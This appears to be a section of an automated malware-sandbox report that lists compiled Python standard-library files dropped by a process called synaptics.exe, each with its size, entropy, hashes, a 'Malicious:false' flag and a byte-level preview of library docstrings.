              Preview:o.......:.-d.........................@...sp...d.Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.z.d.d.l.T.W.n...e.y1......Y.n.w.e.Z.e.Z.d.S.).z.Bisection algorithms......N....keyc....................C....>...|.d.u.r.t.|.|.|.|...}.n.t.|.|.|...|.|.|.d...}.|...|.|.....d.S.).z.Insert item x in list a, and keep it sorted assuming a is sorted... If x is already in a, insert it to the right of the rightmost x... Optional args lo (default 0) and hi (default len(a)) bound the. slice of a to be searched.. Nr....)...bisect_right..insert....a..x..lo..hir......r.....4C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\bisect.py..insort_right....s............r....c....................C...s....|.d.k.r.t.d.....|.d.u.r.t.|...}.|.d.u.r1|.|.k.r/|.|...d...}.|.|.|...k.r'|.}.n.|.d...}.|.|.k.s.|.S.|.|.k.rN|.|...d...}.|.|.|.|.....k.rF|.}.n.|.d...}.|.|.k.s5|.S.).a....Return the index where to insert item x in list a, assuming a is sorted... The return value i is such that all e in a[:i]

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\bz2.cpython-310.pyc.55393360

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):10893
              Entropy (8bit):5.27520285787738
              Encrypted:false
              SSDEEP:
              MD5:36A4B1B0221FEB7DEFDA35BA3D328639
              SHA1:AB5E690F80A16EA731404F212597DD5292B08CD1
              SHA-256:00BF9CE2F49AD73C11957D62EE4015AC3F39178C0172DD5751B3C39CE469396C
              SHA-512:F314EA67D5C2DE184CDD4DD59352254D2A18AED076B618B53D9F14155AB7AF233E2E7242931AFB104F5FFB11F90E99BD12428398C70A48ED862442181C520AC0
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d./.......................@...s....d.Z.g.d...Z.d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.....d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Interface to the libbzip2 compression library...This module provides a file interface, classes for incremental.(de)compression, and functions for one-shot (de)compression..)...BZ2File..BZ2Compressor..BZ2Decompressor..open..compress..decompressz%Nadeem Vawda <nadeem.vawda@gmail.com>.....).r....N).r....r..............c....................@...s....e.Z.d.Z.d.Z.d*d.d...d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d,d.d...Z.d,d.d...Z.d.d...Z.d,d.d...Z.d,d.d ..Z.d!d"..Z.d#d$..Z.e.j.f.d%d&..Z.d'd(..Z.d)S.)-r....a@...A file object providing transparent bzip2 (de)compression... A BZ2File can act as a wrapper for an existing file object, or refer. directly to a named file on disk... Note that BZ2File provides a *binary* file interface - data read is. returned as bytes, and data t

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\calendar.cpython-310.pyc.30220424

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):26326
              Entropy (8bit):5.232293135406233
              Encrypted:false
              SSDEEP:
              MD5:63618B0AC4869F0AD9C897ED4982B8B5
              SHA1:9E7585936CAF26B1DC9FA9B723BB3B9D94CCA782
              SHA-256:3C12053EC6400377FD7A5092D08F1703CB80D97DB1F7973578C570E756DE5FFD
              SHA-512:0ABA3E827CAF8B3BF8316CC919FE3473369BD1B496BC876297C856932195CA79B475C99E3C13C952F332E47EB2EEF0AE57C1A4D2654F1F387D4956F86C929972
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.b.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.g.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...\.Z.Z.Z.Z.Z.Z.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d ..Z"d!d"..Z#G.d#d$..d$e$..Z%G.d%d&..d&e%..Z&G.d'd(..d(e%..Z'G.d)d*..d*..Z(G.d+d,..d,e&..Z)G.d-d...d.e'..Z*e&..Z+e+j,Z-d/d0..Z.e+j/Z0e+j1Z1e+j2Z3e+j4Z5e+j6Z6e+j7Z8e+j9Z:e+j;Z<d1Z=d2Z>e=e>f.d3d4..Z?e=e>f.d5d6..Z@d7ZAe..BeAd.d....C..ZDd8d9..ZEd:d;..ZFeGd<k.r.eFe.jH....d.S.d.S.)=a$...Calendar printing functions..Note when comparing these calendars to the ones printed by cal(1): By.default, these calendars have Monday as the first day of the week, and.Sunday as the last (the European convention). Use setfirstweekday() to.set the first day of the week (0=Monday, 6=Sunday)......N)...repeat)...IllegalMonthError..IllegalWeekdayError..setfirstweekday..firstweekday..isleap..leapdays..weekday..monthrange..monthcalendar..prmonth..m

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\codecs.cpython-310.pyc.20128504

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):33242
              Entropy (8bit):5.022421451855006
              Encrypted:false
              SSDEEP:
              MD5:D0ABDF0798A80EE3C52FC913809E18DB
              SHA1:FFD43F64C3CAB18E4A3B9FFBDF7C0A29FD687930
              SHA-256:38775536D0370B54962FD08E71060DA7266D4B01154B56A136C7C5584AE0CD00
              SHA-512:FA045D6D7563E2C6D7CDABDBC9B9AEBA937D1943526A760E8A38399E0E682E9522E10E3FAB15E779CD769FFF92A2A55D2A02C6249F282AA2E39A04BFAD12C984
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d........................@...sD...d.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.T.W.n...e.y"..Z...z.e.d.e.......d.Z.[.w.w.g.d...Z.d.Z.d...Z.Z.d...Z.Z.d.Z.d.Z.e.j.d.k.rAe...Z.Z.e.Z.n.e...Z.Z.e.Z.e.Z.e.Z.e.Z.e.Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z G.d.d...d...Z!G.d.d...d...Z"dCd#d$..Z#dDd%d&..Z$d'd(..Z%d)d*..Z&d+d,..Z'd-d...Z(d/d0..Z)d1d2..Z*dEd3d4..Z+dEd5d6..Z,d7d8..Z-d9d:..Z.z.e/d!..Z0e/d;..Z1e/d<..Z2e/d=..Z3e/d>..Z4e/d?..Z5W.n...e6y.......d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5Y.n.w.d.Z7e7..r.d.d.l8Z8e9d@k...r e$e.j:dAdB..e._:e$e.j;dBdA..e._;d.S.d.S.)Fz. codecs -- Python Codec Registry, API and helpers....Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N)...*z%Failed to load the builtin codecs: %s),..register..lookup..open..EncodedFile..BOM..BOM_BE..BOM_LE..BOM32_BE..BOM32_LE..BOM64_BE..BOM64_LE..BOM_UTF8..BOM_UTF16..BOM_UTF16_LE..BOM_UTF16_BE..BOM_UTF32..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\contextlib.cpython-310.pyc.55364816

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):20918
              Entropy (8bit):5.08422622705317
              Encrypted:false
              SSDEEP:
              MD5:AA0617FFA5B1ACF4B883940D086CA043
              SHA1:5922DE0BB022F02CBCDEB34FD60FAAD2F2F3A4F9
              SHA-256:E5D6968E83D741B67D01559019BC07C25507C95A851B42D1BA0FC455F2A88666
              SHA-512:58917DFADA583C9F9CF41C87633BB4B1460638E15226D63CB750D18A78469695760891E72A3F234BA565EEA2E1C9C3551D402EE69C739A2B2829998563D6FD54
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.h.......................@...s~...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e.e.e...Z.G.d.d...d.e.e.e...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&..Z.G.d'd(..d(e.e...Z.G.d)d*..d*e.e...Z.G.d+d,..d,e.e...Z d.S.)-z4Utilities for with-statement contexts. See PEP 343......N)...deque....wraps)...MethodType..Generiuseras)...asynccontextmanager..contextmanager..closing..nullcontext..AbstractContextManager..AbstractAsyncContextManager..AsyncExitStack..ContextDecorator..ExitStack..redirect_stdout..redirect_stderr..suppress..aclosingc....................@....:...e.Z.d.Z.d.Z.e.e...Z.d.d...Z.e.j.d.d.....Z.e.d.d.....Z.d.S.).r....z,An abstract base class for context managers.c....................C........|.S...z0Return `self` upon entering the runtime context.......selfr....r.....8C:

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\copyreg.cpython-310.pyc.25297448

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):4706
              Entropy (8bit):5.306792870413186
              Encrypted:false
              SSDEEP:
              MD5:2E5D890D873B23625DE0CA6A0B7D7372
              SHA1:815250296CA2C052CA86E941DAD1AB1030B5C62D
              SHA-256:A93ED92E05BE623CE2486FF5E724A11F885BC2AAAE1E424E801A5DC3C49B0573
              SHA-512:97FFF2150E59CEF24A291440C2AC0E34A5731866C5F56EA6F80443E184EB4DF50FF3FD40F5BB402093A8C12DF05605302357E0AC09C90E48C831D6E4A9BC9983
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.g.d...Z.i.Z.d.d.d...Z.d.d...Z.z.e...W.n...e.y.......Y.n.w.d.d...Z.e.e.e.e.....d.d...Z.e.e.e.e.B...e.....d.d...Z.d.Z.e.e.j...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.i.Z.i.Z.i.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.Helper to provide extensibility for pickle...This is only useful to add pickle support for extension types defined in.C, not for instances of user-defined classes..)...pickle..constructor..add_extension..remove_extension..clear_extension_cacheNc....................C...s0...t.|...s.t.d.....|.t.|.<.|.d.u.r.t.|.....d.S.d.S.).Nz$reduction functions must be callable)...callable..TypeError..dispatch_tabler....).Z.ob_typeZ.pickle_functionZ.constructor_ob..r.....5C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\copyreg.pyr........s................r....c....................C...s....t.|...s.t.d.....d.S.).Nz.constructors must be callable).r....r....)...objectr....r....r....r........s..........r....c....................C...s....t.|.j.|.j.f.f.S...N)...compl

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\datetime.cpython-310.pyc.30289808

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):56556
              Entropy (8bit):5.250254916393791
              Encrypted:false
              SSDEEP:
              MD5:A28267BF4A63477D45B2BE62F248C1EF
              SHA1:D03CDDAEB30413D818DEE4FFE597CF8C5F8F507A
              SHA-256:FD859841F882EF64C0B8BF4E859C1A9329BE2CAC46E16CD73D8A2FA8B539D519
              SHA-512:C309FFF79E9BF9ACBEA58C1B33E5C4FE159715DB00DCF139F448F1D543A7171AB00847BFB717386A9AF53ED77471492288C661660B5935EDD0AC4E7C418D23CC
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.a.......................@...sr...d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.Z.d.Z.d.Z.g.d...Z.d.g.Z.d.Z.e.d.d.....D.].Z.e...e.....e.e.7.Z.q/[.[.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d.k.scJ...e.d.e...d...k.smJ...e.d.e...d...k.swJ...d.d...Z.g.d...Z.g.d...Z.d d!..Z.d\d#d$..Z.d%d&..Z d'd(..Z!d)d*..Z"d+d,..Z#d-d...Z$d/d0..Z%d1d2..Z&d3d4..Z'd5d6..Z(d7d8..Z)d9d:..Z*d;d<..Z+G.d=d>..d>..Z,e,d?..e,_-e,d@dAdBdBdCdD..e,_.e,d.dE..e,_/G.dFdG..dG..Z0e0Z1e0d.d.d...e0_-e0d.dHdI..e0_.e,d.dJ..e0_/G.dKdL..dL..Z2G.dMdN..dNe3..Z4e4Z5[4e2Z6G.dOdP..dP..Z.e.Z7e.d.d.d...e._-e.dAdBdBdC..e._.e,d.dE..e._/G.dQdR..dRe0..Z8e8d.d.d...e8_-e8d.dHdIdAdBdBdC..e8_.e,d.dE..e8_/dSdT..Z9G.dUdV..dVe2..Z:e:.;e,d.....e:_<e:.;e,dAdBdW......e:_-e:.;e,dAdBdW....e:_.e8dXd.d.e:j<dY..Z=z.d.dZl>T.W.n...e?..y.......Y.d.S.w.[.[.[.[.[.[.[=[.[.[.['[([)[%[&[.[*[1[.[.[.[.[ [.[.[9[.[.[.[7[6[![.[+["[$[#[5d.d[l>m.Z...d.S.)]z.Concrete date/time and related types...See http://www.iana.org/time-

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\enum.cpython-310.pyc.23878944

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):26086
              Entropy (8bit):5.2865342172622265
              Encrypted:false
              SSDEEP:
              MD5:D3740D6B18CBA73CC19763EFAD0FFE29
              SHA1:453ED3F41A9192871BAF4A474F1885B1BCE3CD56
              SHA-256:9C1188CC9D961398C2AA4376FD00E951BD4EA63B84BD8C39567D2DB13B9F60D8
              SHA-512:0304FD892678B30D32E89A9A8AF81A82642A39F80505D0F5F0E44ACB2C0A3F6CD7B73A23045CFCA2ECA9D875E97998FA4F648C1B9A52616E5C820ED27E9BC5BF
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e.e...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.S.)%.....N)...MappingProxyType..DynamicClassAttribute)...EnumMeta..Enum..IntEnum..Flag..IntFlag..auto..uniquec....................C...s....t.|.d...p.t.|.d...p.t.|.d...S.).z?. Returns True if obj is a descriptor, False otherwise.. ..__get__..__set__..__delete__)...hasattr)...obj..r.....2C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\enum.py.._is_descriptor....s..............r....c....................C...sL...t.|...d.k.o%|.d.d.....|.d.d.........k.o.d.k.n.....o%|.d...d.k.o%|.d...d.k.S.).z=. Returns True if a __dunder__ name, False otherwise.. .....N..........Z.__.._.........len....namer....r....r......_is_dunder....s......&...........r....c....................C...sL...t.|...d.k.o%|.d...|.d.......k.o.d.k.n...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\fnmatch.cpython-310.pyc.55338968

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):4267
              Entropy (8bit):5.669624298372856
              Encrypted:false
              SSDEEP:
              MD5:3637489E80AA8A6A7DE1D39AFE00A89B
              SHA1:66445DD985648DEA5AD1CB54B2B46ACB443E1344
              SHA-256:A4A3252CC85C1615CA5E4B539F002761B8DC1CB9C9696F56F863C1BDA353091F
              SHA-512:AD6BD136EBFB5AC95DC784558DFF4079BD327E081FF73709C2EE54B95645C78FC63D027BCCFCA5CEE9A41A437C88F2A54F2724A314EF333C7B2732C17955F15F
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s|...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.l.m.Z...e...j.Z.[.d.d...Z.e.j.d.d.d...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).a....Filename matching with shell patterns...fnmatch(FILENAME, PATTERN) matches according to the local convention..fnmatchcase(FILENAME, PATTERN) always takes case in account...The functions operate by translating the pattern into a regular.expression. They cache the compiled regular expressions for speed...The function translate(PATTERN) returns a regular expression.corresponding to PATTERN. (It does not compile it.)......N)...filter..fnmatch..fnmatchcase..translate)...countc....................C...s"...t.j...|...}.t.j...|...}.t.|.|...S.).a....Test whether FILENAME matches PATTERN... Patterns are Unix shell style:.. * matches everything. ? matches any single character. [seq] matches any character in seq. [!seq] matches any char not in seq.. An initial period in FILENAME is not spec

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\functools.cpython-310.pyc.23935088

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):28358
              Entropy (8bit):5.34729073801758
              Encrypted:false
              SSDEEP:
              MD5:417BF64B8EE8FBBFD740E28D94D69155
              SHA1:753FC1149B76AB2FF7F175C9FC05B01FCE05B141
              SHA-256:82E940CEF26EDA45D6728757C57C42435A05CE98CFB02357C6A2E1356F8B4B79
              SHA-512:7ED9A7F89438F77F716D89B3AC537B2C3E80CA4AA0DEDA17BB21962562EEE65A992FE5E184E9EFB1D9684FEF18FFE37E60FF43F91F6ED9044151D58E2002336A
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e.e.f.d.d...Z.e.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d d!..Z.e.f.d"d#..Z.e.f.d$d%..Z.d&e.f.d'e.f.d(e.f.g.d(e.f.d)e.f.d&e.f.g.d)e.f.d(e.f.d'e.f.g.d'e.f.d&e.f.d)e.f.g.d*..Z.d+d,..Z.d-d...Z.z.d.d/l m.Z...W.n...e!y.......Y.n.w.e"..Z#e#f.d0d1..Z$z.d.d2l m$Z$..W.n...e!y.......Y.n.w.G.d3d4..d4..Z%z.d.d5l m%Z%..W.n...e!y.......Y.n.w.G.d6d7..d7e"..Z&d8d9..Z'e.d:g.d;....Z(G.d<d=..d=e)..Z*e"..f.e+e,h.e-e.e/f.d>d?..Z0dXdBdC..Z1dDdE..Z2z.d.dFl m2Z2..W.n...e!..y;......Y.n.w.dGdH..Z3dIdJ..Z4dYdLdM..Z5dNdO..Z6dPdQ..Z7dRdS..Z8G.dTdU..dU..Z9e"..Z:G.dVdW..dW..Z;dKS.)ZzEfunctools.py - Tools for working with functions and callable objects.)...update_wrapper..wraps..WRAPPER_ASSIGNMENTS..WRAPPER_UPDATES..total_ordering..cache..cmp_to_key..lru_cache..reduce..partial..partialmethod..singledispatch..si

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\genericpath.cpython-310.pyc.21470528

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3930
              Entropy (8bit):5.1772374041117475
              Encrypted:false
              SSDEEP:
              MD5:97F4625FFDD91690F09355A22F7B398A
              SHA1:0A2ECA0A7174B0254C18BE57373DE8ED82D8750D
              SHA-256:E38611726B006FAB3F49AF665053DE8BCF6E80C4076413E6C7E8848D046BC6F8
              SHA-512:49BC869D7A3C4C7119DFAB779BFB66C2D58748ADD1812B80803E15842D29036385B31456063F7B50A71364B12C7E725E0789ACFFE144534A4060E75B1991D0AF
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z..Path operations common to more than one OS.Do not use directly. The OS specific modules import the appropriate.functions from this module themselves.......N)...commonprefix..exists..getatime..getctime..getmtime..getsize..isdir..isfile..samefile..sameopenfile..samestatc....................C...s*...z.t...|.....W.d.S...t.t.f.y.......Y.d.S.w.).zDTest whether a path exists. Returns False for broken symbolic linksFT)...os..stat..OSError..ValueError)...path..r.....9C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\genericpath.pyr........s................r....c....................C....4...z.t...|...}.W.n...t.t.f.y.......Y.d.S.w.t...|.j...S.).z%Test whether a path is a regular fileF).r....r....r....r......S_ISREG..st_mode).r......str....r....r....r.........................r....c....................C...r....).z<Retur

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\hashlib.cpython-310.pyc.29771944

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):6868
              Entropy (8bit):5.601603276454254
              Encrypted:false
              SSDEEP:
              MD5:2B2B81910A0FB6CA67C1D11B4C2C9CB0
              SHA1:71E5E991F5537152ACDE4B66A8897826E90D7837
              SHA-256:EC4C8A2A3820B8D0B755FCC90F69654E714BA0CC229EB2AAB3CCE72376B53F25
              SHA-512:0FC4301F004AF3B858E8069E875DF342F90EE3AE0A0FC3F30071B4A2ABE380FD067B8158F5C4F36E804182ED723C0965F30D5E020665F0F29E79209EBA062107
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.).......................@...sl...d.Z.d.Z.e.e...Z.e.e...Z.e.d...Z.i.Z.d.d.h.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.z.d.d.l.Z.e.Z.e.Z.e...e.j...Z.W.n...e.yG......d.Z.e.Z.e.Z.Y.n.w.z.d.d.l.m.Z...W.n*..e.yz......d.d.l.m.Z...e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.d.d...Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.D.].Z.z.e.e...e...e.<.W.q...e.y.......d.d.l.Z.e...d.e.....Y.q.w.[.[.[.[.[.[.d.S.).a3...hashlib module - A common interface to many hash functions...new(name, data=b'', **kwargs) - returns a new hash object implementing the. given hash function; initializing the hash. using the given binary data...Named constructor functions are also available, these are faster.than using new(name):..md5(), sha1(), sha224(), sha256(), sha384(), sha512(), blake2b(), blake2s(),.sha3_224, sha3_256, sha3_384, sha3_512, shake_128, and shake_256...More algorithms may be available on your platform but the above are guaranteed

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\hmac.cpython-310.pyc.59992336

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):6996
              Entropy (8bit):5.301581854215274
              Encrypted:false
              SSDEEP:
              MD5:F2FBF6E2EBFC0CC681369056B81F3807
              SHA1:0D9EDA99BEF09AA3D0805DE7DF02ADE2B237F1AD
              SHA-256:40949D747CB10671D9ADC2991A1D62DBD977579DB4D9E2E08D052550E0537BA3
              SHA-512:A61A50BF0A258C7FD0853721EC0B8FA38D5EDCC3C06001D2A52E2CE165F0D7C30B1F2877CB782233D4E35E777E4222CC3A8F32E483EE592F9B855C43E0AA6413
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y.......d.Z.d.Z.d.d.l.m.Z...Y.n.w.e.j.Z.e.e.j...Z.d.d.l.Z.e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.d.S.).zqHMAC (Keyed-Hashing for Message Authentication) module...Implements the HMAC algorithm as described by RFC 2104.......N)..._compare_digestc....................c..........|.].}.|.d.A.V...q.d.S.)..\...N.......0..xr....r.....2C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\hmac.py..<genexpr>.............r.........c....................c...r....)..6...Nr....r....r....r....r....r........r....c....................@...sf...e.Z.d.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...HMACz~RFC 2104 HMAC class. Also complies with RFC 4231... This supports the API for Cryptographic Hash Functions (PEP 247).. .@...)..._hmac.._inner.._outer..block_size..digest_sizeN..c....................C...s....t.|.t.t.f...s.t.d.t.|...j.......|.s.t.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\io.cpython-310.pyc.20129752

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3686
              Entropy (8bit):5.398840574171142
              Encrypted:false
              SSDEEP:
              MD5:7548B725B87978B42AFA1C59A81192B1
              SHA1:D1D3CCE98A1CE3692EF2954D46C82E4506BC4645
              SHA-256:A185D0B90B20AF751686B7E1FB531DA3F6F4260B2FCF4F74FFBFB8510CE0A045
              SHA-512:4B37274A416051A6D53EF77FDADDD9764F1291E3A8FCD5E8B8121E3538FE22A5EEDAD5E56F08D4B2A3978CD42B6D976D300125A87E9670F0B0879C7A40554CBA
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sH...d.Z.d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.e._.d.Z.d.Z.d.Z.G.d.d...d.e.j.e.j.d...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j e...Z!e.."e.....e.e.e.e.e.f.D.].Z#e.."e#....que.e.f.D.].Z#e!."e#....q.[#z.d.d.l.m$Z$..W.n...e%y.......Y.d.S.w.e.."e$....d.S.).a....The io module provides the Python interfaces to stream handling. The.builtin open function is defined in this module...At the top of the I/O hierarchy is the abstract base class IOBase. It.defines the basic interface to a stream. Note, however, that there is no.separation between reading and writing to streams; implementations are.allowed to raise an OSError if they do not support a given operation...Extending IOBase is RawIOBase which deals simply with the reading and.writing of raw bytes to a stream. FileIO subclasses RawIOBase to provide.an interface to OS files...BufferedIOBase deals with buffering on a raw

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\keyword.cpython-310.pyc.25164672

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):950
              Entropy (8bit):5.4191573031775695
              Encrypted:false
              SSDEEP:
              MD5:78223EEA4A3955846844EE61678B4D69
              SHA1:1D23EAB52C8A0939D9AE22D33664EF755454D431
              SHA-256:775D3A34ECDD7CA8C469E2B2BEECC69C63ED277099DFF0F0DE1B26C32858A8A5
              SHA-512:08DAB03559E32E25217BDD0E9257654AC1C38AB601335BBEB545A6ED4926D99CDFF1BF2E0F1CE4A2EABFACBD5A105526552A7F6A138489D93C7A39EDB96C146C
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dd........................@...s4...d.Z.g.d...Z.g.d...Z.g.d...Z.e.e...j.Z.e.e...j.Z.d.S.).a....Keywords (from "Grammar/python.gram")..This file is automatically generated; please don't muck it up!..To update the symbols in this file, 'cd' to the top directory of.the python source tree and run:.. PYTHONPATH=Tools/peg_generator python3 -m pegen.keywordgen Grammar/python.gram Grammar/Tokens Lib/keyword.py..Alternatively, you can run 'make regen-keyword'..)...iskeyword..issoftkeyword..kwlist..softkwlist)#..False..None..TrueZ.andZ.asZ.assertZ.asyncZ.awaitZ.breakZ.classZ.continueZ.defZ.delZ.elifZ.elseZ.exceptZ.finallyZ.forZ.fromZ.globalZ.ifZ.import..inZ.is..lambdaZ.nonlocalZ.notZ.orZ.passZ.raise..returnZ.tryZ.whileZ.withZ.yield)..._Z.case..matchN)...__doc__..__all__r....r......frozenset..__contains__r....r......r....r.....5C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\keyword.py..<module>....s...........&....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\linecache.cpython-310.pyc.58779536

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):4165
              Entropy (8bit):5.328006129273554
              Encrypted:false
              SSDEEP:
              MD5:D7CD0CBFB681639F0DC815C72A309FDB
              SHA1:1B12A3E6E2D25C6E8C9773D0E1F0E45CE4168FD1
              SHA-256:91D2218ABDCBA4BB17D1ACCD029047E76D65E6140A075297D3579B1B895F9EEA
              SHA-512:3A9A3B70D16E729954D9C4923A75436DB1934FFE7027B80C0A8B4F01FB06D02EC34BCF599FBD051DBBB8F9F5B424FB78ABD8496F3B8C41DC1B0C46C5D0CF15D4
              Malicious:false
              Reputation:unknown
